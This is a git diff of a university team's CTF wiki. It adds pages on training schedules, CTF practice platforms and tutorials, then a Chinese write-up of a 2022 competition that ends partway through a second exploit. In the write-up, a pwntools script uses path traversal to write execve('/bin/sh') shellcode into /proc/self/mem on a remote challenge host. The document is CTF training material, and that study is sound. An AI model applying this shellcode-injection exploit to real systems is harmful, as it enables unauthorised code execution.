The institution of a monthly internal challenge, dubbed "The Winter is Coming CTF," will maintain our ensemble's continued engagement and vigilance, thus preserving that the acquired skills are rigorously exercised and polished.

+

Further, we have paved the way for the promulgation of knowledge and collaborative endeavor through the genesis of a GitHub consortium, devised for the synchronization of resources, which will act as a vault for our shared intellect and as an amphitheater for incessant edification.

+

In essence, our envisioned timeline transcends a mere itinerary of forthcoming occurrences; it embodies a tactical blueprint, expressly contrived to inculcate a paradigm of superlative performance and an unyielding quest for proficiency in cybersecurity within our fraternity. As we advance upon this voyage, we persist malleable, amenable to embracing novel challenges and educational prospects that may present themselves. Our paramount ambition is to not only secure victory in competitive jousts but to sculpt a squadron supremely equipped to confront the cybersecurity menaces of the morrow.

+

Let us proceed with tenacity and a collective ethos dedicated to pinnacle achievement, symbiotic coaction, and incessant melioration. Here’s to an annum replete with augmentation, intellectual acquisition, and laurels in the theatre of CTF contests!

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Varsity Competition Training Model/index.html b/Training/Varsity Competition Training Model/index.html new file mode 100644 index 000000000..e1fa67470 --- /dev/null +++ b/Training/Varsity Competition Training Model/index.html @@ -0,0 +1,8206 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Varsity Competition Training Model - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Varsity Competition Training Model

+

The Latest Training Schedule

+

View the training schedule on our wiki page: 2023 Spring Schedule.

+

Overview

+

Varsity training is usually online + offline, usually at a fixed location and time. The goal of the training is to promote new members and to coach current varsity members to become proficient in a particular area. Training content may vary from school year to school year, depending on the schedule and staffing changes for that school year.

+

Training Format

+

The training format for Spring 2022 was influenced by COVID-19, which had been in an online self-study mode for a long time, and was partially adjusted when members returned to school.

+

Training is usually held every Sunday morning and afternoon for separate objectives. The morning training is geared towards new members and is basic knowledge and practical training, while the afternoon is geared towards current varsity members and is advanced content and domain proficiency training.

+
+

Adjustment Note: Most competitions will be held on Sundays, and the mindset on Sundays will also generally be better than on Saturdays, so it was adjusted to Sunday for offline training.

+
+

Basic knowledge and practical training.

+

The training is in the form of lecture + salon, which advocates communication during the training. The process will start with lecture sharing of training contents and providing reading materials. After the lecture, the materials will be read first, and the time will be rotated to summarize and conclude the content of the materials and share the materials they read to other members from the perspective of the pedagogue.

+

Advanced content and domain proficiency training.

+

The training is in the form of practice + salon. Before the training, the training questions will be collected and completed through the weekly question summary, and you need to complete the weekly question practice before the training. First, a summary of the solutions to the training questions and a lecture on the necessary knowledge will be conducted. For unintended solutions and multiple solutions, multiple solutions will also be used to share. The training time is then used to solve the questions on the spot, and after the solution, the member who completed the question will share in the salon.

+

Training Questions

+

Each week's training will be followed by the release of the following week's practice questions, along with an open submission channel.

+

The training questions will be selected from each field with some exercises with a difficulty gradient of.

+

2 sign-ups + 2 normal + 1 difficult, with a total of 5 questions per domain.

+

Members who choose multiple areas can choose any area to answer, and after completing this area, they can continue to complete other areas of questions.

+

The areas that will be subject to topic selection are.

+

Miscellaneous (Misc), Web (Web), Cryptography (Crypto), Binary (PWN), Reverse (RE).

+

Member Support

+

The training of the varsity team will also use the old-led model for mentoring and helping new members.

+

Based on the collected directions of the current members of the varsity team, the current members of the varsity team who are responsible for mentoring the new members will be set.

+

In the mentoring, the active members can recommend new members to join their own team based on their activity and knowledge base, and increase the matching score (20) in the team entry assessment.

+

Suggestions Feedback

+

Any valuable suggestions on the training process can be sent to

+

liz33#mail.sustech.edu.cn

+

Valuable suggestions are also welcome.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Forum/kanxue/index.html b/Website/Forum/kanxue/index.html new file mode 100644 index 000000000..5882a88fe --- /dev/null +++ b/Website/Forum/kanxue/index.html @@ -0,0 +1,8096 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 看雪学院 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

看雪学院

+

Kanxue Security Documentation is a forum to post all things about cybersecurity from operating systems to web security, from binary exploitation to wiki and IoT security.

+

The knowledge base contains good posts in forum.

+

index

+

Reference

+

Link: https://www.kanxue.com/chm.htm

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/CTFHub/index.html b/Website/Platform/CTFHub/index.html new file mode 100644 index 000000000..e293d7d67 --- /dev/null +++ b/Website/Platform/CTFHub/index.html @@ -0,0 +1,8119 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTFHub - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTFHub

+

Easy to use CTF learn tutorial.

+

Contains CTF events time schedule, skills that CTFers should learn, challenges provided, and tools and other assistant.

+

index

+

Advantages and disadvantages

+

CTF hub is a new CTF platform provided to help CTF gamers to train skills and get information of events. It's full of everything that is useful from tutorial to challenges.

+

The skill tree is under construction and new contents are continuously added to the current components.

+

CTF hub provides a calendar to check upcoming CTF competitions, subscribe the calendar to find new events.

+

https://api.ctfhub.com/User_API/Event/getAllICS

+

Reference

+

CTF hub link: https://www.ctfhub.com/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/CTFlearn/index.html b/Website/Platform/CTFlearn/index.html new file mode 100644 index 000000000..ba0e5ae6d --- /dev/null +++ b/Website/Platform/CTFlearn/index.html @@ -0,0 +1,8100 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTFlearn - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTFlearn

+

CTF learn is a challenge website for user update challenges and solve challenges.

+

Those challenges are uploaded by community and users who solves the challenge can leave comments and score for the challenge.

+

index

+

To submit flag and acquire scores, you need an account. In CTF learn, the accounts are free to register. Once you finish the registration, you may login with the account.

+

For business user and education propose, CTF learn offers a professional edition called Learn++.

+

Some online labs are also useful for beginners.

+

labs

+

Reference

+

CTF learn link: https://ctflearn.com/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/Cryptopals/index.html b/Website/Platform/Cryptopals/index.html new file mode 100644 index 000000000..e043a056a --- /dev/null +++ b/Website/Platform/Cryptopals/index.html @@ -0,0 +1,8356 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Cryptopals Crypto Challenges - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Cryptopals Crypto Challenges

+

Welcome to the challenges

+

Work in progress.

+

This site will host all eight sets of our crypto challenges, with solutions in most mainstream languages.

+

But: it doesn't yet. If we waited to hit "publish" until everything was here, we might be writing this in 2015. So we're publishing as we go. In particular: give us a little time on the challenge solutions.

+

We can't introduce these any better than Maciej Ceglowski did, so read that blog post first.

+

We've built a collection of 48 exercises that demonstrate attacks on real-world crypto.

+

This is a different way to learn about crypto than taking a class or reading a book. We give you problems to solve. They're derived from weaknesses in real-world systems and modern cryptographic constructions. We give you enough info to learn about the underlying crypto concepts yourself. When you're finished, you'll not only have learned a good deal about how cryptosystems are built, but you'll also understand how they're attacked.

+

What Are The Rules?

+

There aren't any! For several years, we ran these challenges over email, and asked participants not to share their results. The honor system worked beautifully! But now we're ready to set aside the ceremony and just publish the challenges for everyone to work on.

+

How Much Math Do I Need To Know?

+

If you have any trouble with the math in these problems, you should be able to find a local 9th grader to help you out. It turns out that many modern crypto attacks don't involve much hard math.

+

How Much Crypto Do I Need To Know?

+

None. That's the point.

+

So What Do I Need To Know?

+

You'll want to be able to code proficiently in any language. We've received submissions in C, C++, Python, Ruby, Perl, Visual Basic, X86 Assembly, Haskell, and Lisp. Surprise us with another language. Our friend Maciej says these challenges are a good way to learn a new language, so maybe now's the time to pick up Clojure or Rust.

+

What Should I Expect?

+

Right now, we have eight sets. They get progressively harder. Again: these are based off real-world vulnerabilities. None of them are "puzzles". They're not designed to trip you up. Some of the attacks are clever, though, and if you're not familiar with crypto cleverness... well, you should like solving puzzles. An appreciation for early-90's MTV hip-hop can't hurt either.

+

Can You Give Us A Long-Winded Indulgent Description For Why You'Ve Chosen To Do This?

+

It turns out that we can.

+

If you're not that familiar with crypto already, or if your familiarity comes mostly from things like Applied Cryptography, this fact may surprise you: most crypto is fatally broken. The systems we're relying on today that aren't known to be fatally broken are in a state of just waiting to be fatally broken. Nobody is sure that TLS 1.2 or SSH 2 or OTR are going to remain safe as designed.

+

The current state of crypto software security is similar to the state of software security in the 1990s. Specifically: until around 1995, it was not common knowledge that software built by humans might have trouble counting. As a result, nobody could size a buffer properly, and humanity incurred billions of dollars in cleanup after a decade and a half of emergency fixes for memory corruption vulnerabilities.

+

Counting is not a hard problem. But cryptography is. There are just a few things you can screw up to get the size of a buffer wrong. There are tens, probably hundreds, of obscure little things you can do to take a cryptosystem that should be secure even against an adversary with more CPU cores than there are atoms in the solar system, and make it solveable with a Perl script and 15 seconds. Don't take our word for it: do the challenges and you'll see.

+

People "know" this already, but they don't really know it in their gut, and we think the reason for that is that very few people actually know how to implement the best-known attacks. So, mail us, and we'll give you a tour of them.

+

How do I start?

+

Start here!

+

Who did this?

+
    +
  • Thomas Ptacek (@tqbf)
  • +
  • Sean Devlin (@spdevlin)
  • +
  • Alex Balducci (@iamalexalright)
  • +
  • Marcin Wielgoszewski (@marcinw)
  • +
+

Cryptopals is maintained and expanded (from Set 8 on) by Sean Devlin, in conjunction with the Cryptography Services Team at NCC Group.

+

We could not possibly have done this without the help of several other people. Roughly in order of influence:

+
    +
  • Nate Lawson taught us virtually everything we know about cryptography.
  • +
  • Trevor Perrin taught Nate some of that. I can tell you a pretty compelling story about how Trevor is the intellectual origin of every successful attack on TLS over the past 5 years.
  • +
  • Thai Duong and Juliano Rizzo are the godfathers of practical cryptographic software security. Several things in this challenge didn't make sense to us until after Thai and Juliano exploited them in mainstream software.
  • +
+ +

Individual exercise submissions are owned by their author, and may or may not be distributed under an open source license.

+ +

https://cryptopals.com/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/TryHackMe/index.html b/Website/Platform/TryHackMe/index.html new file mode 100644 index 000000000..31da910bb --- /dev/null +++ b/Website/Platform/TryHackMe/index.html @@ -0,0 +1,8106 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + TryHackMe - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

TryHackMe

+

Here's another platform for learning and hacking.

+

The difference between tryhackme and ordinary CTF challenge website is that thm uses rooms for challenge. Each room contains of several questions and you need to finish them all to solve a room.

+

The room is also called a target environment in cyber security. In case that vulnerabilities are available in rooms, each room should be created for each user. That's say, you need to create a room and deploy machine before hacking.

+

index

+

All target environments are on the thm's cloud server and you don't need to configure local machine to deploy target environment. However, you need to connect to the thm's local network so that you can hack the target environment.

+

Two ways for user to connect. The first and free way is to use OpenVPN and configure your VPN with thm's ovpn file. The second is to use hack box, for community user, free box can only be used 1 hour one day. Otherwise, you need to purchase premium edition of thm.

+

Rooms are also can be uploaded by users. This makes it possible for us to create our own target environment.

+

Besides, thm provides several learning courses for beginners.

+

courses

+

For advanced users, there some other useful pages provided by thm.

+

You can find some useful blog related to the cybersecurity and some other websites such like tutorials, terms, swag shop.

+

TryHackMe is a great platform for both beginners and advanced hackers.

+

docs

+

Reference

+

TryHackMe link: https://tryhackme.com/docs

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/World of Attack&Defense/index.html b/Website/Platform/World of Attack&Defense/index.html new file mode 100644 index 000000000..e7b1f8456 --- /dev/null +++ b/Website/Platform/World of Attack&Defense/index.html @@ -0,0 +1,8098 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + World of Attack&Defense - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

World of Attack&Defense

+

World of Attack&Defense (Aka 攻防世界) is another fully constructed CTF platform of challenges and event schedule.

+

index

+

The challenge environment of WAD constructed from deployed machines that you need to deploy environment before solving the challenge.

+

That is, in some time, the deployment environment of WAD is failed and users can not finish challenges.

+

However, the challenge quality is pretty good and writeups submitted by users are also good to read.

+

Reference

+

World of Attack & Defense link: https://adworld.xctf.org.cn/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/ctftime/index.html b/Website/Platform/ctftime/index.html new file mode 100644 index 000000000..86c91a793 --- /dev/null +++ b/Website/Platform/ctftime/index.html @@ -0,0 +1,8098 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + ctftime - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

ctftime

+

CTF time is a platform to provide schedule for upcoming and past CTF events. Famous CTF events usually synchronize their schedule to the CTF time, and CTFers all along the world would participate the event.

+

index

+

Some famous CTF team also have their CTF time page to show their gains and record during the events. Along with the events schedule and team page, writeups are also collected by CTF time. Find writeups for the event by clicking corresponding event page and find Event tasks and writeups page.

+

event

+

Find upcoming CTF events using CTF time.

+

Reference

+

CTF time link: https://ctftime.org/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/ichunqiu/index.html b/Website/Platform/ichunqiu/index.html new file mode 100644 index 000000000..a208f0b3b --- /dev/null +++ b/Website/Platform/ichunqiu/index.html @@ -0,0 +1,8096 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + ichunqiu - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

ichunqiu

+

ichunqiu's platform is a good place to find upcoming events.

+

This platform is based on the competitions and the solutions to the competitions. It doesn't provide any online challenge environment, but it provides almost all the Chinese CTF events schedule.

+

index

+

Reference

+

Link: https://www.ichunqiu.com/competition

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/picoCTF/index.html b/Website/Platform/picoCTF/index.html new file mode 100644 index 000000000..96a3b3bf6 --- /dev/null +++ b/Website/Platform/picoCTF/index.html @@ -0,0 +1,8098 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + picoCTF - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

picoCTF

+

picoCTF is a series of CTFs focus on the high school students. Nowadays, picoCTF adds more difficult challenges that face to all gamers besides high school students.

+

The picoCTF platform provides most of the challenges in picoCTF these years and you can try to solve those challenges online.

+

index

+

The challenges are from very easy to advanced. Some beginner challenges are friendly for CTF beginners and some advanced challenges may take you some time to solve.

+

The binary challenges are hard for beginners and picoCTF doesn't provide beginner-friendly binary (pwn) challenges. For those who are starting their travel in binary field, maybe other platform is better than picoCTF.

+

Reference

+

Link: https://play.picoctf.org/practice

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Platform/pwnabletw/index.html b/Website/Platform/pwnabletw/index.html new file mode 100644 index 000000000..9435bc88e --- /dev/null +++ b/Website/Platform/pwnabletw/index.html @@ -0,0 +1,8096 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + pwnable.tw - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

pwnable.tw

+

A series of binary exploitation (pwn) problems and you may try to solve them online.

+

The quantity of challenges isn't much, but the quality is pretty good.

+

index

+

Reference

+

Link: https://pwnable.tw/challenge/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Tutorial/CTF Field Guide/index.html b/Website/Tutorial/CTF Field Guide/index.html new file mode 100644 index 000000000..fd5e51b1e --- /dev/null +++ b/Website/Tutorial/CTF Field Guide/index.html @@ -0,0 +1,8101 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Field Guide - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Field Guide

+

In these chapters, you’ll find everything you need to win your next CTF competition:

+
    +
  • Walkthroughs and details on past CTF challenges
  • +
  • Guidance to help you design and create your own toolkits
  • +
  • Case studies of attacker behavior, both in the real world and in past CTF competitions
  • +
+

Consists of several introduction to each categories.

+

index

+

Reference

+

Link: https://trailofbits.github.io/ctf/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Tutorial/CTF Wiki/index.html b/Website/Tutorial/CTF Wiki/index.html new file mode 100644 index 000000000..14bd5ae11 --- /dev/null +++ b/Website/Tutorial/CTF Wiki/index.html @@ -0,0 +1,8113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Wiki - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Wiki

+

As a freedom site, primarily focusing on recent CTFs, CTF Wiki introduces the knowledge and techniques in all aspects of CTF to make it easier for beginners to learn CTF.

+

Now, CTF Wiki mainly contains the basic skills for CTF, but we are working hard to improve the following contents.

+
    +
  • Advanced skills used in CTF
  • +
  • Special topics appearing in CTF
  • +
+

For the above-mentioned parts to be improved, please refer to Projects which details what are planned.

+

Although now CTF Wiki mainly focus CTF, it is not strictly limited to CTF topics. In the future, CTF Wiki will include

+
    +
  • Tools used in security research
  • +
  • Increased discussion of security in the world
  • +
+

In addition, given the following two points

+
    +
  • Information about technology should be openly shared.
  • +
  • As new techniques are always being developed, old techniques will start to fade over time and they should be replaced with new techniques.
  • +
+

Therefore, CTF Wiki will never publish books.

+

Finally, originating from the community, as an independent organization, CTF Wiki advocates freedom of knowledge, will never be commercialized, and will always maintain the character of independence and freedom.

+

index

+

Reference

+

Link: https://ctf-wiki.org/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Tutorial/HackTricks/index.html b/Website/Tutorial/HackTricks/index.html new file mode 100644 index 000000000..7e59fc265 --- /dev/null +++ b/Website/Tutorial/HackTricks/index.html @@ -0,0 +1,8035 @@ + + + + + + + + + + + + + + + + + + + + + + + HackTricks - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

HackTricks

+

Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.

+

HackTricks contains learning methods of CTF and recently news about cybersecurity.

+

index

+

Reference

+

Link: https://book.hacktricks.xyz/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Tutorial/ctf101/index.html b/Website/Tutorial/ctf101/index.html new file mode 100644 index 000000000..5843e5b44 --- /dev/null +++ b/Website/Tutorial/ctf101/index.html @@ -0,0 +1,8099 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Capture The Flag 101 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Capture The Flag 101

+

Capture The Flags, or CTFs, are a kind of computer security competition.

+

Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.

+

Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.

+

In this guide/wiki/handbook you'll learn the techniques, thought processes, and methodologies you need to succeed in Capture the Flag competitions.

+

CTF 101 is the perfect website for CTF beginners.

+

index

+

Reference

+

Link: https://ctf101.org/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Tutorial/how to become a hacker/index.html b/Website/Tutorial/how to become a hacker/index.html new file mode 100644 index 000000000..12bc57d93 --- /dev/null +++ b/Website/Tutorial/how to become a hacker/index.html @@ -0,0 +1,8104 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + How To Become A Hacker - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

How To Become A Hacker

+

An article of "how to" series written by Eric Steven Raymond.

+

In this article, you can learn how to become a hacker, and what should you learn to contribute to the cybersecurity and hacking field.

+

Remember the hacker attitudes:

+
    +
  1. The world is full of fascinating problems waiting to be solved.
  2. +
  3. No problem should ever have to be solved twice.
  4. +
  5. Boredom and drudgery are evil.
  6. +
  7. Freedom is good.
  8. +
  9. Attitude is no substitute for competence.
  10. +
+

index

+

Reference

+

Link: http://www.catb.org/~esr/faqs/hacker-howto.html

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Tutorial/linux/index.html b/Website/Tutorial/linux/index.html new file mode 100644 index 000000000..33e545abb --- /dev/null +++ b/Website/Tutorial/linux/index.html @@ -0,0 +1,8098 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Linux Tools Quick Tutorial - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Linux Tools Quick Tutorial

+

A website for linux beginners to learn with linux command and tools.

+

This website is only a brief introduction to the linux. After learning the tutorial of linux, you can use linux just like using any other operating systems.

+

index

+

If you want to find more details of Linux instead of just learning of features and tutorials to usage, you may want to read 《鸟哥的Linux私房菜》. The reference to the blog is attached below this tutorial.

+

Reference

+

Link: https://linuxtools-rst.readthedocs.io/zh_CN/latest/base/index.html

+

鸟哥的Linux私房菜: http://linux.vbird.org/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Website/Tutorial/python/index.html b/Website/Tutorial/python/index.html new file mode 100644 index 000000000..5e856ceb8 --- /dev/null +++ b/Website/Tutorial/python/index.html @@ -0,0 +1,8096 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Python - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Python

+

Yet an introduction of Python3.

+

index

+

if you want to learn Python2, you can find Python2 version of this doc in Python document.

+

Reference

+

Link: http://www.pythondoc.com/pythontutorial3/index.html

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/2022cqb3/wp/index.html b/Writeup/2022cqb3/wp/index.html new file mode 100644 index 000000000..694881357 --- /dev/null +++ b/Writeup/2022cqb3/wp/index.html @@ -0,0 +1,8602 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022年春秋杯网络安全联赛-冬季赛-WP - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022年春秋杯网络安全联赛-冬季赛-WP

+

By Frankss
+Rank: 1
+Solved: 10

+ +

非常幸运地摸了一个炫酷的名次,诚惶诚恐
+picture 5

+

Misc [AK]

+

reindeer game

+

pyinstaller解包,直接调pyc里生成flag的函数: +picture 1

+

楠之勇者传

+

轻松拿到魔法棒,然后按提示去 /proc/self/mem 找地方写sc
+自己开了个环境看一下nobody跑的python36居然是没随机化地址的,然后本地偏移通了远程不过(版本是一样的)
+于是远程先按0x1000加偏移,卡死了就逐byte加,然后就成功执行到了shellcode

+
from pwn import *
+
+for off in range(3, 0x100):
+    p = remote("39.106.48.123", 28287)
+    context.log_level = 'debug'
+    p.sendline(b"1")
+    p.sendlineafter(b">> ", b"1")
+    for _ in range(10):
+        p.sendlineafter(b">> ", b"4")
+        p.sendlineafter(b"Enter", b"")
+    p.sendlineafter(b">> ", b"3")
+    p.sendlineafter(b">> ", b"1")
+    p.sendline(b"a")
+    p.sendlineafter(b"Enter", b"")
+    p.sendlineafter(b">> ", b"2")
+    p.sendlineafter(b">> ", b"1")
+    p.sendline(b"../proc/self/mem")
+    p.sendline(str(0x5b9a10+off).encode())
+    p.sendline(base64.b64encode(b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'))
+    p.interactive()
+
+

问卷

+

问卷

+

nan's analysis

+

图片..没什么用
+压缩包,有密码,但其实就是删了root密码的shell,带回车..也没什么用
+唯一有用的是FTP的密码,是AES的key
+iv猜了好久,最后用UTF8的16个0搞出来看起来很对的字符,但长度不对
+然后用0504重复4次做IV得到了正确的root密码
+picture 2

+

shell的位置ls -la对比几下就找到了
+picture 3

+

PWN

+

work_pwn

+

有一秒钟的时间等待线程,在一秒之内改全局变量就行了

+
from pwn import *
+
+p = remote("39.105.171.73", 18791)
+
+context.log_level = 'debug'
+p.sendlineafter(b">>>", b"3")
